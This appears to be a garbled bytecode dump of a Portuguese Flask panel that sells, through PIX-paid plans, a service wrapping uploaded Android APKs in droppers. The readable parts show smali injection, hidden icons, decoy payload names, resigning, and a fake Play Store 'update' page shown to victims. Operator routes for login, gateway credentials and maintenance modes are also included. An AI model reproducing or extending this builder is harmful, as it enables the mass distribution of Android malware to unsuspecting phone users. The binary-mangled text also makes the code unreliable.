SIGNER_JARr  r   r  r  r  r`   r  isfilerelease)r  r  custom_app_namer  custom_icon_pathdropper_configvisual_mode	hide_iconcustom_htmlredirect_urluser_apk_extractedrT  unsigned_apk_pathaligned_apk_pathzip_refmemberbuild_artifactr0  ra   r1  r2  	_glob_rcv	rcv_filesrcv_pathrfrcv_contentnew_dr  	smali_src	smali_dstroot_sdirs_sfiles_sr[  dst_dirsf
assets_src
assets_dstv2_srccss_srchtml_to_writeri  
rsmali_srcr
  r(  pkg_decode_dir_apkt_errayytymr&  r   
target_urlurl_smali_safepkg_smali_safema_pathmaanchorinjectrcv	patched_d	kill_linedisable_line	n_disabler  _ma_fp
_fp_anchor
_fp_inject_fpe_ma3_wvc_anchor_wvc_inject_wvce_ma2_new_r
_patched_r_rer5  	_rnd_open_rnd_install_rnd_update_drp_sp_drp_s_up_p_up_s_brmr  icon_to_use	converted_img_density_sizes
_resize_ok
_base_icon_d_sz_path_resized_namer   r   rG  strings_xmltreerootr   file	file_pathr4  new_contentup_html_path
up_contentpsr  icon_b64r   raw_datar  rl  r  r  _globr   _ASSET_POOLS_pooldat_name_decoy_names_keyr  new_data_strnew_key_str_sm_scold_payloadr  payload_path_decoy_sizes_dn_ds_renamesres_bzipalign_bin
output_dirres_s	final_apk
final_nameru  	error_msgtmpr  rc  r2  r3  r4  s                                                                                                                                                          @@@rJ   process_apkr  "  s$"   cjj&AhZzCZ[cjj&AhZxCXYLcjj&AhZ}C]^cjj&AhZ|C\](<!LLe(]HM,>B!OX77>>,--MM,-
&6		4""#56 5 ww~~bggll+=?TUVV0JXZ%[L"NNFFKmTSegklm,@b!QX77>>,''MM,'(,7 lG<77>>.))MM.)"$'',"7HaU?277<<%#@A  #8  %!rww||L'4Qa'bnrsI%(C':b"$'')K ;$" N &&w))	 k)hg>") ?>c &n +%"''..9J*K*K%6@I\7;Iww~~i((/1wwy/A+FFG''//&)<C ggll9c:GKK$7%!R<RWW\\&"%=rww||GUW?XY &	 0B &79MJww~~j))WW\\,A
J6Zj))LM("rww~~6G'H'H%6@I\7;Iww~~i((/1wwy/A+FFG''//&)<C ggll9c:GKK$7%!R<RWW\\&"%=rww||GUW?XY &	 0B lH=JKK
T2WW\\"3X|LFww~~f%%VRWW\\*i%HIggll#4h
KGww~~g&&Wbggll:z&JK ("rww~~6G'H'H%6@I\7;Iww~~i((/1wwy/A+FFG''//&)<C ggll9c:GKK$7%!R<RWW\\&"%=rww||GUW?XY &	 0B lH=JKK
T2+6K<bMbggll:y93QUV& R *$8I)J)Jrww~~^nOoOo%6@I\7;Iww~~i((/1wwy/A+FFG''//&)<C ggll9c:GKK$7%!R<RWW\\&"%=rww||GUW?XY &	 0B &79MJww~~j))WW\\,A
J6Zj))LM&6@J+-77:+>'ggoofj9'',,y#6Gd3!BLLfb!9277<<QS;TU "	 ,? K.  WW\\#**_*E(S[G\]N77>>.11MM.1"V[#t"D.$@#'
 ##q(165<<-3D9%:J:J9K8TXS[\]+BGGLLI^,_`"nmDBww~~b))!"cGHMQR!"B NYY'H"M#%88A;#4#4#6D#

M(I.2ww~~n55n5 +BGGLL9KMb,cd !`a>{mLM&7->>@J'//f=EEc5QN(00v>FFsERNggll9eY(ThiGww~~g&&'39QB : MR<1 4B	BE1	1
 4BB
Euu  FFA6BgsW= >= [\
 ww||Iui8UefHww~~h''(C':a&&(C ;
"  FFw))		 ##CfgW	#++i:CKL  f3& #		, 7I++lE:CK	{2stu(C':aGGCL ;)E77>>'**gsW=!# > "KJ!V+0C60QVa6
 9GG
J6
6 9G
GJHH #0 "(
J!J!'3ARHHV, Bbc,6HI(z{efA77>>'**gsW=!wwy >"xK# '0 0   #d*/ET/Q#||KaH!'3ARHHTN B^_/47STmnI77>>'**gsW=!wwy >&  "$h ii"J "T)!'3ARHHZ0 Bz{rs
N=!e&  12	0202'',,y%HhXkl77>>'**gsW=bggiV=#^^KCF#^^NLIF#^^M;GFgsW=RXXfEU=CI;iXdWeemnymz{|\8YG77>>%((eS7;r27795;!MM+yAE!MM.,GE!MM-EEeS7;r288E?;DYKPQ 	#<0<(&5?5/? @ @K,/??	}}%5699Q<$&$))A,*=#&A$))$MNNV$)))U;'  +-*,*,*-*-" #

6!){!;!C!CF!KJ#1#7#7#9C "\2 >ED9#-#4#4c3ZAQAQ#R%QE$MM"'',,ue*DeVZM[ &R	 $: "&J " C!ww||L!<D48$PD"LLbggll46NO %Q C ggll<1IJ77>>+&&xx,||~"ll84Fzz&)Z7&. 5 

;$
O #%'',"7Ha==!344 "Xt <I!)S78TXY&'ffhG U&-ooj(&K&S&ST]_g&h&p&pqz  }E  'F)*5*=*=m^M_M_`hj~M  +AK*5*=*=>NP^PbPbcn  qL  QM  +NK*5*=*=lNL^L^_f  iM  MN  +OK"k1!%iw!G1 ! 4 "H!G 2  #8$ ww||L(IF("rww~~l'C'C-,g>!!"J ?'//	8D
!'++K<B!+!3!3M266+WgCh!iJ!+!3!3JxQV@W!XJ!+!3!3M266+W\C]!^J!+!3!3HbffVX>V!WJvvi((z7I7I+WYW]W]^gWh7i*vvi((z7I7I+WYW]W]^gWh7i*vvi((z7I7I+WYW]W]^gWh7i*#7G(H(H!.5#)#3#3AFFH#=#D#D#F 6!+!3!3L(!KJ,g>!GGJ' ?
 -@R!PX-&!vvxH '~~a+q%(2::b>9U;x#>??	<< "`a"\]"\]"^_"[\"\]"\]"[\"^_"^_#
& l+8Qxzz#hoo/01Ds8??+<d'CDD~~d+224~~d+224::bggll<$H\]im:nCc31Qaffh1++6!L>8KLC++6!K=8JKCc31Q11	 o
 ggll<1GH77>>+&&IIk"WW\\,9

J.ww||J9,%GGI & NN4&NN4&NN3%

 L,7HCbggll:s3T:a

3( ;: 8
 	<(<(|,),7!,9,'|$\*l: -="!MXww~~k**899V[#|TCTUdC
 ww~~/00NNFFK9NOY[\NNc<GXY#$E 77>>"344"6u||n EFF -<!LX*77>>,''NNtS*;N# ww~~.//,@,;!LXWW\\#**_"=xH

J.ww~~j))788 VZ3DgzZdC

 	77>>*%%ZZ
+::f%% "Z ;I , 25<<.ABB z&
)(34D9Irww||CJJ,GTU]]:T: -8SYc  vB  "CX([(KX{3HkU8*+=>XJ78"XF+F		
6 '6G[hiC77==%%c(NWW^^C(("))C.( j <CGGLLO!<
3%>PQ77>>!$$biil$ <
	$$&y 54	4%..0FC	 1 54440 !D ;:` ?>v RQV NM  =6rd;<<=	ww~~n55n5 6, :9  >= ;:: ;: >=: BA  E<TFCDDE >= BA  A7w?@@A >=  BA
  IA#GHHI$ >= >= <; <; NEdVLMMN$* ! 6/t4556& UT "H!G ?> 65 ?> -s+,,- '&D 21 21 &% ;:P 	"  
F	xj9+67.4Ys^4DC,HVWbf!gX(VXFXv.%o%6c:"XF)DS/UK		
 	

* D D 	 '6G[hiC77==%%c(NWW^^C(("))C.(D	 j <CGGLLO!<
3%>PQ77>>!$$biil$D	 <
	$$&s  5A(Bh BX, 5BXBX, EBh $4BZABh +BZ"<3Bh 3Bh >BZ4Z/Bh ?B[NBh D(B[+ ?B[A"B[+ 3:B\ -D Bh C-B]!C><Bh D:B]3EA'Bh F3B^GB-Bh I1B^JBh J/B_ J;B^)KA	B_ LB^;L'B_ L:Bh L;B_ MBh MB_ MBh M B_ M,/B` NB_3N,9B` O%B`O7B` P
Bh PB` PBh PB` P)/Ba! QB`=Q)ABa! R*BaR<Ba! SBh SBa! SBBc UBbU/A	Bc V8BbW
A,Bc X6Bb+YA	Bc ZBb=Z"Bc Z8ABh \	A<Bc5 ^Bh ^CBc= a(CBh d0ABd# fBd# f8Bh g Bh g;BehBd+hB8BekBd=k"Bek*ABh mBf mBem!FBf s=.Be+t+%Bf uBe=u"Bf u*Bh vBf5vFBh |&Bg|7?Bh }6Bg~CBh ABg,A!BBh C)&Bg>DK/Bh PBBh RBh R3ABh T9Bj#U:Bj#VA/Bj,XBj5 X
BX)X$BX, X'Bh X)BX, X,BZYBZYBY-Y+BZY-BY2	Y/BZY7BZY?Bh Z
BZ	ZBZZBh ZBZZBh ZBZZBh Z"
BZ1	Z,Bh Z4
B[	Z>	Bh [
B[[Bh [
B[([#B[+ [+
B\[5B\	\B\ \	B\\B\ \B\\Bh \B]\:B]]B]]B]]B]]Bh ]!
B]0]+Bh ]3
B^]=Bh ^
B^^Bh ^
B^&^!Bh ^)
B^8^3B_ ^;
B_
_B_ _
B_0_B_+_%Bh _+B_0_0Bh _3
B`_=B` `
B``B` `
B`:`!B`5`/Bh `5B`:`:Bh `=
BaaBa! a
BaaBa! a!
Bba+Ba?a9Bh a?BbbBh b
BbbBc b
Bb(b#Bc b+
Bb:b5Bc b=
BccBc c
Bc2cBc-c'Bh c-Bc2c2Bh c5Bc:c7Bh c=
Bd dBddBh dBd d Bh d#Bd(d%Bh d+
Bd:d5Bed=
BeeBee
Bh eBeeBeeBh e
Be(e#Bf e+
Be:e5Bf e=
BffBf f
Bh fBf f
Bf2fBf-f'Bh f-Bf2f2Bh f5
Bgf?Bh g
Bg	gBh g
Bg)	g#	Bh g,
Bg;g6Bh g>
Bh	h	Bh hBhhBh h
Bj h#A2BjjBj< jBj j Bj< j#Bj)j,Bj2j5Bj9j<	Bo*k9Bl?k?Bo*l:Bl?l;Bo*l?Bm	mBo*mA/Bon?Bo*oBo	oBo*oBo#o"Bo*o#Bo'o%Bo*z/check-sessionc                     S[         ;   Ga6  [        5       n U S   R                  [         S   0 5      nU(       d"  [         R                  " 5         [	        SS05      $ [         R                  " SS5      UR                  SS5      :w  a$  [         R                  " 5         [	        SSSS	.5      $ [        U5      (       a#  [         R                  " 5         [	        SSS
.5      $ S[         ;  a  [        R                  " S5      [         S'   [	        S[         S   UR                  SS5      UR                  S5      [         S   S.5      $ [	        SS05      $ )Nr  r:  	logged_inFsession_versionr   Tpassword_changed)r  expiredreason)r  r  
csrf_tokenr  r(  r  r,  )r  r  r(  r,  r  )r   rJ  r  clearr   r]  r   token_urlsafer  r  s     rJ   check_sessionr#  	  s   W{G}  !4b9MMOK/00;;(!,9JA0NNMMO4K]^__4  MMO4@AAw&$+$9$9"$=GL!
+HHVZ0"&((+?"@!,/
  	 K'((rI   r#  c                     S[         ;   ax  [        5       n U S   R                  [         S   0 5      n[        U5      (       a   [         R                  " 5         [        S5      $ [        S[         S   UR                  SS5      S9$ [        S5      $ )Nr  r:  z
index.htmlr(  r  )r  r(  )r   rJ  r  r]  r   r   r"  s     rJ   indexr%  ,	  sw    W{G}  !4b94  MMO"<00|'*2EDHHU[]gLhii<((rI   /loginPOST)methodsc            
         [        5       n [        U 5      (       a  [        SSU  S3SS9  [        SSS.5      S	4$ [        R
                  " S
S
S9n[        U[        5      (       d  [        SSS.5      S4$ UR                  S5      UR                  S5      p2[        U[        5      (       a  [        U[        5      (       d  [        SSS.5      S4$ US S n[        5       nX$S   ;   GaL  [        US   U   S   U5      (       Ga1  [        US   U   5      (       a  [        SSS.5      S4$ US   U   S   nUR                  S5      (       d5  UR                  S5      (       d  [        U5      US   U   S'   [        U5        S
[         l        U[         S'   US   U   R                  SS5      [         S'   US   U   R                  SS5      [         S'   [$        R&                  " S5      [         S'   [)        USSU  35        [        SSU S 3S!S"[         S   S
S#.S$U S
S#./S%9  [        S
[         S   S&.5      $ [+        U 5        [        S'S(U S)3S*S$U S
S#./S%9  [        SS+S.5      S,4$ )-NzALERTA DE SEGURANCAzIP **z0** bloqueado por excesso de tentativas de login. r  F%Muitas tentativas. Aguarde 5 minutos.successmessage  TforcesilentDados invalidos  r  r   @   r:  Licenca expirada  rT  rU  r(  r  r  r   r  r  LoginzIP: LOGIN
Usuario **z** fez login no painel.fc Cargorx  IPr|  )r.  r(  zLOGIN FALHOUz#Tentativa de login invalida para **r  r  	Incorreto  )rm  ru  r  r   r   get_json
isinstancerF  r  r`   rJ  rX  r]  rN  r   rR  r   	permanentr   r!  r  ry  )rt  r  r  rc  dbrV  s         rJ   loginrE  7	  s   	Br!B4GH	

 55\]^`ccc$t4DdD!!55FGH#MM88J*!5qaZ3%7%755FGH#MM	#2A	BwKOBwKN:,FJJ2g;q>**u9KLMsRR GQ
+!!),,0A0A)0L0L)?)BBwKN:&bM 
W+a.,,VZ@%'[^%7%78I1%M!" ' 5 5b 9Aw$rd,23 76?dKd;		
 4ABB
-aS4d;<	 u=>CCrI   /logoutc                      S[         ;   a  [        [         S   SS5        [         R                  " 5         [        [	        S5      5      $ )Nr  LogoutSaidar%  )r   r  r   r	   r
   rH   rI   rJ   logoutrJ  p	  s4    WGJ'7;MMOGG$%%rI   /api/registerc                     [        5       n [        U 5      (       a%  [        SSU  S3SSU SS./S9  [        S	S
S.5      S4$ [        R
                  " SSS9n[        U[        5      (       d  [        S	SS.5      S4$ [        UR                  SS5      5      R                  5       R                  5       S S n[        UR                  SS5      5      R                  5       S S n[        UR                  SS5      5      nU(       a  U(       a
  U[        ;  a  [        S	SS.5      S4$ [        U5      S:  a  [        S	SS.5      S4$ [        U 5        [        5       nUS   R!                  5        H+  nUR                  SS5      U:X  d  M  [        S	SS.5      S4s  $    US   R                  S0 5      nUR                  S5      (       a,  UR                  S5      (       a  UR                  S5      (       d  [        S	SS.5      S 4$ [        U   n[        ["        R$                  " 5       5      n	S!U;  a  US"-   n['        5       n
[)        5       n[+        5       nXX,S#.n [-        US$   S%US&    3U	UUS'9nUU
[1        U5      UUS+   US,   [2        R4                  " 5       R7                  5       [2        R4                  " 5       [9        S-S.9-   R7                  5       S/.US0   U	'   [;        U5        S1US$   S2-  S3 3R=                  S4S55      n[        S6S7S8S9USS.S:US&   SS.S;USS.S<US,   S	S./S9  [        SU	US=   US>   US&   US?.5      $ ! [.         a)  n[        S	S([        U5      S S)  3S.5      S*4s S nA$ S nAff = f)@NzRATE LIMIT - REGISTROzIP **`z/`** atingiu o limite de tentativas de registro.r*  r>  Trx  r|  Fr,  r-  r0  r1  r4  r5  r)  rY   r  r      planr   z'Senha muito curta (minimo 6 caracteres)r:  zEmail ja cadastrador>  r9  r5  r2  r3  z?Gateway de pagamento nao configurado. Contacte o administrador.  @z@usuario.local)rG  cpfr)  phoner  zBYPASS - Plano r  )r  zErro ao gerar PIX:    r  r  r  r-  hours)r)  rG  password_hashrN  	plan_daysr  r*  r  r;  zR$ r  z.2fr}   ,z
PIX GERADOzNovo PIX criado para registro.; EmailPlanoValorz	Charge IDr  r  )r.  reg_idr  r  
plan_labelr  )rm  r~  r  r   r   rA  rB  rF  r`   r  r  r  PLAN_PRICESr  r  rJ  valuesuuiduuid4rK   rf   ru   r  r   r   r   rA  rB  r   rR  rO  )rt  r  r)  r   rN  rD  udatagw	plan_infor]  rG  rQ  rR  r  pixr   
amount_fmts                    rJ   api_registerrh  x	  s   	B2#RDGH!B$?@		
 55\]^`ccc$t4DdD!!55FGH#MM488GR()//1779$3?E488J+,224Tc:H488FB'(DD$;55FGH#MM
8}q55^_`beeeB	BG##%99Wb!U*u9NOPRUUU & 
J		Ir	*B66)BFF;$7$7rvvo?V?V55vwxz}}}D!IF
%((KDJCLEeLK	agi012#
 /9v&%lln..0||~	(::EEG	+B' bMy)#-c23;;CEJ
(u=y'9TJzTB 3{+;uM	
	
 ./,'(  9  a57J3q6RVSV<.5YZ[]```as   M   
M3
M.(M3.M3>   godmodinfor  sudotestr  r  r!  stafftestemasterrR  supportr  sysadmin	moderator	superuser	webmasteradministratorc                   ^ US   n[         R                  " SSUR                  S5      S   5      SS =(       d$    [         R                  " SSU5      SS =(       d    Sm[        U4S	 j[         5       5      (       a  [         R                  " SSUR                  S5      S
   R                  S5      S   5      SS nU=(       d    SS-   [         R                  " SSUR                  S5      S   5      SS -   mTSS =(       d    SmTnSnTUS   ;   a  U U 3mUS-  nTUS   ;   a  M  US   US[
        R                  " 5       R                  5       US   [
        R                  " 5       [        US   S9-   R                  5       S/ SSSSS.S.
US   T'   US   U 	 [        U5        [        SSST SUS    S35        [        SS S!S"TS#S$.S%US#S$.S&US    S3S#S$./S'9  T$ )(zDCreate user from paid registration. Must be called inside _reg_lock.r)  [^a-zA-Z0-9_]rY   rP  r   Nr9  r  c              3      >#    U  H>  nTR                  5       U:H  =(       d    TR                  5       R                  U5      v   M@     g 7fr  )r  rN  )rQ   r1  r  s     rJ   rT   )_activate_registration.<locals>.<genexpr>	  s9     
`L_q8>>q BHNN$4$?$?$BBL_s   AA	r}   rO   usrra   usr_1r-  r:  rV  r  rW  r  r"  r#  )
r   r)  r(  r*  r+  r,  r-  r.  r/  r0  r;  rR  zNovo Cadastro	Usuario: z
 | Plano:  diaszNOVO CADASTROzNova conta criada via PIX.rv  rw  Trx  rZ  r[  r|  )r}  r  r&  ra  _RESERVED_USERNAMESr   rA  rB  r   rR  r  r  )r]  regrD  r)  domain_partr  counterr  s          @rJ   _activate_registrationr  	  s   LEvv&EKK,<Q,?@"E{P`bdfkIlmpnpIq{u{H

`L_
```ff-r5;;s3CB3G3M3Mc3RST3UVWZXZ[(5C/"&&9I2u{{[^O_`aOb2cdgeg2hhCR=+GDG
bk
!VG9%1 bk
! (lln..0K('||~	s;?O0PP[[]*+!VWXBwK 	"#F+bM/Yxj
3{K[J\\a+bc
$TBu=#k*:);5'ATR
		 OrI   z/api/pix/status/<reg_id>c                 :   [         R                  " SSU 5      S S n [        5       nUR                  S0 5      R                  U 5      nU(       d  [	        SS05      S4$  [
        R                  " 5       [
        R                  " US   5      :  aL  [           [        5       nXR                  S0 5      ;   a  US   U 	 [        U5        S S S 5        [	        SS	05      $  UR                  S
5      (       a  [	        SS05      $ US   R                  S0 5      n[        UR                  SS5      U5      nUS:X  a  [	        SS	05      $ US:X  a  [           [        5       nUR                  S0 5      R                  U 5      nU(       a  UR                  S
5      (       a  [	        SS05      sS S S 5        $ SUS   U    S
'   [        U5        [        XU5      nS S S 5        [	        SWS.5      $ [	        SS05      $ ! , (       d  f       GN4= f!    GN.= f! , (       d  f       NC= f)Nz[^a-zA-Z0-9\-]rY   (   r;  r-  	not_found  r  r  user_createdr  r>  r9  r  r  r  T)r-  r  )r}  r  rJ  r  r   r   rA  r[  	_reg_lockrR  r  r  )r]  rD  r  db2rd  
api_statusreg2r  s           rJ   
pix_statusr  
  s   VV%r623B7F	B
&&("
-
1
1&
9C+./44	<<>H223|3DEEkWW%<bAA34V<cN	 
 Hi011 F ww~),--	J		Ir	*B!#''+r":B?JX),--V+C772B7;;FCD488N33)45	 Y
 DHC'(0@cN-fC@H  &h?@@Hi());  Ys7   6H 1G2H AH-"H2
H<H H	
Hz/admin/gateway-settingsGETc                     S[         ;  a  [        0 5      S4$ [        5       n U S   R                  [         S   0 5      R                  S5      S:w  a  [        0 5      S4$ U S   R                  S0 5      n[        UR                  S	S
5      UR                  SS
5      UR                  S5      (       a  SOS
UR                  SS5      [	        UR                  S5      5      S.5      $ )Nr  r@  r:  r(  r!  r8  r>  r9  r1  rY   r2  r3  ***r5  F)r1  r2  r3  r5  client_secret_set)r   r   rJ  r  r  )rD  rd  s     rJ   get_gateway_settingsr  ,
  s     r{C	B	'{wz*B/33F;wFr{C	J		Ir	*BFF:r*VVK,"$&&"9"9r66)U+!"&&"9:  rI   c            	         S[         ;  a  [        SS05      S4$ [        5       n U S   R                  [         S   0 5      R                  S5      S:w  a  [        SSS	.5      S
4$ [        R
                  " SSS9n[        U[        5      (       d  [        SS05      S4$ U S   R                  S0 5      n[        UR                  SS5      5      R                  S5      S S US'   [        UR                  SS5      5      US'   [        UR                  SS5      5      S S US'   UR                  S5      (       a6  UR                  S5      S:w  a!  [        UR                  SS5      5      S S US'   [        R                  5         X S   S'   [        U 5        [        [         S   SSUS    SUS    35        [        SS[         S    S3S S!9  [        SS05      $ )"Nr  r.  Fr@  r:  r(  r!  Sem permissaor-  r8  Tr1  r5  r>  r9  r1  rY   r#  r   r5  r2  r  r3  r  r  zConfig Gatewayz
Base URL: z
 | Ativo: zCONFIG GATEWAYz)Credenciais do gateway atualizadas por **r  r*  r+  )r   r   rJ  r  r   rA  rB  rF  r`   r  r  r  r   rR  r  r  )rD  r  rd  s      rJ   save_gateway_settingsr  <
  s    	5)*C//	B	'{wz*B/33F;wF5_EFKK$t4DdD!!	5)*C//	J		Ir	*B*b1299#>tDBzN$((9e45ByM$((;34Tc:B{Oxx  TXXo%>%%G!$((?B"?@#F?  "zN9bM
#%5BzNCSS]^`aj^k]l7mn
3GJ4G3HL
 It$%%rI   z/admin/gateway-testc                  N   S[         ;  a  [        SS05      S4$ [        5       n U S   R                  [         S   0 5      R                  S5      S:w  a  [        SSS	.5      S
4$ U S   R                  S0 5      nUR                  S5      (       a,  UR                  S5      (       a  UR                  S5      (       d  [        SSS	.5      $  [	        U5      nU(       a  [        SS05      $ [        SSS	.5      $ ! [
         a$  n[        S[        U5      S S S	.5      s S nA$ S nAff = f)Nr  r.  Fr@  r:  r(  r!  r  r-  r8  r>  r9  r1  r2  r3  z=Preencha Base URL, Client ID e Client Secret antes de testar.TzToken vazio na resposta.r  )r   r   rJ  r  r  r   r`   )rD  rd  r  r   s       rJ   test_gatewayr  ]
  s    	5)*C//	B	'{wz*B/33F;wF5_EFKK	J		Ir	*B66*RVVK%8%8@W@W55tuvvD"2&It,--55OPQQ D5SVDS\BCCDs$   	C6 (C6 6
D$ DD$D$z/api/maintenance-statusc                  t    [        5       n U R                  S0 5      R                  S0 5      n[        SU05      $ )Nr>  maintenance_modes)rJ  r  r   )r   modess     rJ   api_maintenance_statusr  q
  s8    AEE*b!%%&92>E'/00rI   z/admin/maintenancec                     S[         ;  a  [        SS05      S4$ [        5       n U S   R                  [         S   0 5      nUR                  S5      S:w  a  [        SS05      S	4$ [        R
                  " 5       =(       d    0 nUR                  S
S5      n[        UR                  SS5      5      nUS;  a  [        SS05      S4$ SU ;  a  0 U S'   SU S   ;  a  0 U S   S'   X@S   S   U'   [        U 5        U(       a  SOSn[        SUR                  5        3SU S[         S    S3U(       a  SOSS9  [        SX4S.5      $ )Nr  r~  r9  r@  r:  r(  r!  r  r8  moderY   r"  F)padraor  r	   zModo invalidor5  r>  r  ativada
desativadazMANUTENCAO zModo **z ** colocado em manutencao por **r  r*  rv  r+  T)r.  r  r"  )
r   r   rJ  r  r   rA  r  rR  r  upper)r   r  r  r  r"  r-  s         rJ   admin_set_maintenancer  w
  sS    )*C//A	'
wz*B/AuuV}12C77 &BG[[$D'++h./F6612C77*!J-/-/*)*/5jM%&t,aL YlF
flln%&
$7
8K7LCP hh
 tTDEErI   z/uploadc                     S[         ;  a  [        SS05      S4$ [        5       n U S   R                  [         S   0 5      n[	        U5      (       a  [        SS05      S4$ [
        R                  R                  S5      nU(       a   UR                  R                  S	5      (       dg  [        5       n[        S
S[         R                  " SS5       S3SSUSS.S[        U(       a  UR                  OS5      S S SS./S9  [        SS05      S4$ [        [
        R                  R                  SS5      5      S S nS[        R                  " 5       R                  S S -   n[         R"                  R%                  [&        R(                  S   U S35      nUR+                  U5        S n[
        R                  R                  S5      nU(       aV  UR                  (       aE  [         R"                  R%                  [&        R(                  S   U S 35      nUR+                  U5        [        5       n	U	S   R                  [         S   0 5      n
U
R                  S!0 5      nU
R                  S"0 5      US#'   [
        R                  R                  S$S%5      nUS&;  a  S%n[        5       nUR                  S'0 5      R                  S(0 5      nUR                  US)5      (       a  [        SS*05      S+4$ [
        R                  R                  S,S-5      S.:H  nS nUS/:X  ax  [
        R                  R                  S0S15      nU(       a  UR-                  5       (       d  [        SS205      S4$ [/        UR1                  S35      5      S4:  a  [        SS505      S4$ S nUS6:X  a  [
        R                  R                  S7S15      =(       d    S1R-                  5       nU(       d  [        SS805      S4$ [/        U5      S9:  a  [        SS:05      S4$ UR3                  5       R5                  S;5      (       d  S<U-   n[6        R8                  " [:        XVU[         S   X{XUU4
S=9nSUl        UR?                  5         [        S>U05      $ )?Nr  r~  r9  r@  r:  r7  r8  r  rq  zUPLOAD INVALIDOr;  ?z*** tentou fazer upload de arquivo nao-APK.r*  r>  Trx  Arquivonenhumrl  r|  zArquivo invalidor5  r  r   r6  r;  r   r	  z	_orig.apkiconr  r  playstore_configr  r  r  )r  r  r  r  r	   r>  r  Fz-Modo em manutencao. Tente novamente em breve.rO  r  01r  r  rY   zHTML personalizado vazior2  i   z+HTML personalizado muito grande (max 200KB)r	   r  zRedirect URL vaziar:  z#Redirect URL muito longa (max 2048))zhttp://https://r  )r  argsr  ) r   r   rJ  r  r]  r   r1  filenamerL  rm  r  r`   formra  rb  hexr   r   r^   r  r  r  r  r  r  r  rN  	threadingThreadr  daemonstart)r  r  r  rt  r  safe_idfilepath	icon_path	icon_filedb_cfgr\  dropper_cfgr  	_mnt_data
_mnt_modesr  r  r  threads                      rJ   
upload_apkr  
  s    )*C//;D=WZ0"5Dt!345s::==V$Dt}}--f55_Z566`ad;"S$H-UVYWY-Zfjk		
 !345s::7<<##J67<HDJJL$$Sb))Gww||CJJ7G9I9NOHIIhI!!&)IY''GGLLO!<	>ST	y![Fw##GJ$7<I-- 0"5K(}}-?DK,,""=(;KQQIz2.223FKJ~~k5))!PQRTWWW  c2c9IKhll&&}b9+"3"3"5"5G%?@A3FF{!!'*+j8G%RSTVYYYLj ((<BIIKG%9:;S@@|t#G%JKLcQQ!!#../FGG%4L7:+>	Xcp{  ~J  KF FM
LLNJ())rI   z/operator/dropper-configc                      S[         ;  a  [        0 5      S4$ [        5       n U S   R                  [         S   0 5      nSSSS.n[        UR                  SU5      5      $ )	Nr  r@  r:  rM  rP  r  rL  rO  rR  r  r   r   rJ  r  )rD  r  default_configs      rJ   get_dropper_configr  
  sb     r{C	Bg;??7:.3D&05N
 488,n=>>rI   c                  &   S[         ;  a  [        SS05      S4$ [        R                  " SSS9n [	        U [
        5      (       d  [        SS05      S4$ [        5       n[         S   US   ;  a  [        SS05      S	4$ [        U R                  S
S5      5      S S [        U R                  SS5      5      S S [        U R                  SS5      5      S S S.nX!S   [         S      S'   [        U5        [        [         S   SS5        [        SS05      $ )Nr  r.  Fr@  Tr1  r5  r:  r  rL  rM  r  rO  rP  rl  rR  r  r  r  zConfig DropperzTextos personalizados)r   r   r   rA  rB  rF  rJ  r`   r  rR  r  )r  rD  r  s      rJ   save_dropper_configr  
  s    	5)*C//$t4DdD!!	5)*C//	Bz"W+-	5)*C//dhhx)=>?D+/JKLSbQTXXg'KLMcrRF
 :@wK
#$%56bM
#%57NOIt$%%rI   z/operator/playstore-previewc                     S[         ;  a  g [        R                  R                  [        SS5      n [        U SSS9 nUR                  5       nS S S 5        [        R                  R                  SS	5      S S
 n[        R                  R                  SS5      S S
 n[        R                  R                  SS5      S S n[        R                  R                  SS5      S S n[        R                  R                  SS5      S S n[        R                  R                  SS5      S S n[        R                  R                  SS5      S S n	[        R                  R                  SS5      S S n
[        R                  R                  SS5      S S nWR                  SU5      nUR                  S U5      nUR                  S!U5      nUR                  S"U5      nUR                  S#U5      nUR                  S$U5      nUR                  S%U	5      nUR                  S&U
5      nUR                  S'U5      nUR                  S(S)5      nUSS*S+S,.4$ ! , (       d  f       GN= f! [         a  nS-U S.3S/4s S nA$ S nAff = f)0Nr  )Unauthorizedr@  r  r  r1  r2  r8  rG  r   r  pubrV  rX  rY  r  r[  r\  r9  r^  r_  c1zPerformance improvementsr  c2z	Bug fixesc3zSecurity improvementslngr  r  rS  rT  rW  rZ  r]  ra  rc  re  z[LNG]rf  rY   ztext/html; charset=utf-8
SAMEORIGIN)r  zX-Frame-OptionszJ<html><body style="font-family:sans-serif;padding:20px;color:#888;">Erro: z</body></html>r  )r   r   r   r^   r  rQ  rR  r   r  r  rO  r   )up_pathri  htmlrG  r  rX  r[  r^  r  r  r  r  r   s                rJ   playstore_previewr  
  s8    "s'',,0(IF'31Q668D 2LL$$VU3CR8LL$$U,<=crBLL$$Xu5bq9LL$$[%8"=	LL$$VX6s;LL$$T+EFtLLL$$T;7=LL$$T+BCDSILL$$UD1"15||It,||M3/||J/||M95||Hd+||K,||K,||K,||GS)||L"-S+EZfggg+ 21,  s[\][^^lmorrrss5   0I IG>I 
II 
I;)I60I;6I;z/operator/playstore-configc                     S[         ;  a  [        0 5      S4$ [        5       n U S   R                  [         S   0 5      nSSSSSSSS	.nUR                  S
0 5      nUR	                  5        H  u  pEXC;  d  M  XSU'   M     [        U5      $ )Nr  r@  r:  rV  rY  r\  r_  rY   rU  rX  r[  r^  r`  rb  rd  r  )r   r   rJ  r  rM  )rD  r  
default_psr  r{   rw   s         rJ   get_playstore_configr    s     r{C	Bg;??7:.3D%URB2J HH',E  ">!H # 5>rI   c                     S[         ;  a  [        SS05      S4$ [        R                  " SSS9=(       d    0 n [	        U [
        5      (       d  [        SS05      S4$ [        5       n[         S   US   ;  a  [        SS05      S	4$ [        U R                  S
S5      5      S S [        U R                  SS5      5      S S [        U R                  SS5      5      S S [        U R                  SS5      5      S S [        U R                  SS5      5      S S [        U R                  SS5      5      S S [        U R                  SS5      5      S S S.nX!S   [         S      S'   [        U5        [        SS05      $ )Nr  r.  Fr@  Tr1  r5  r:  r  rU  rV  r  rX  rY  r  r[  r\  r9  r^  r_  r`  rY   r  rb  rd  r  r  )
r   r   r   rA  rB  rF  rJ  r`   r  rR  )r  rD  cfgs      rJ   save_playstore_configr  ,  ss    	5)*C//$t4:DdD!!	5)*C//	Bz"W+-	5)*C//+/?@A#2Fdhhx/0!4+u56s;DHHVX./4txx	2./5txx	2./5txx	2./5C <?wK
#$%78bMIt$%%rI   z/status/<build_id>c           	      P  ^^	^
 [         R                  " SSU 5      S S n S[        ;  a  [        SSS.5      S4$ [        S   m
[	        5       nUS	   R                  T
0 5      R                  S
S5      mUS	   R                  T
0 5      R                  S5      m	UU	U
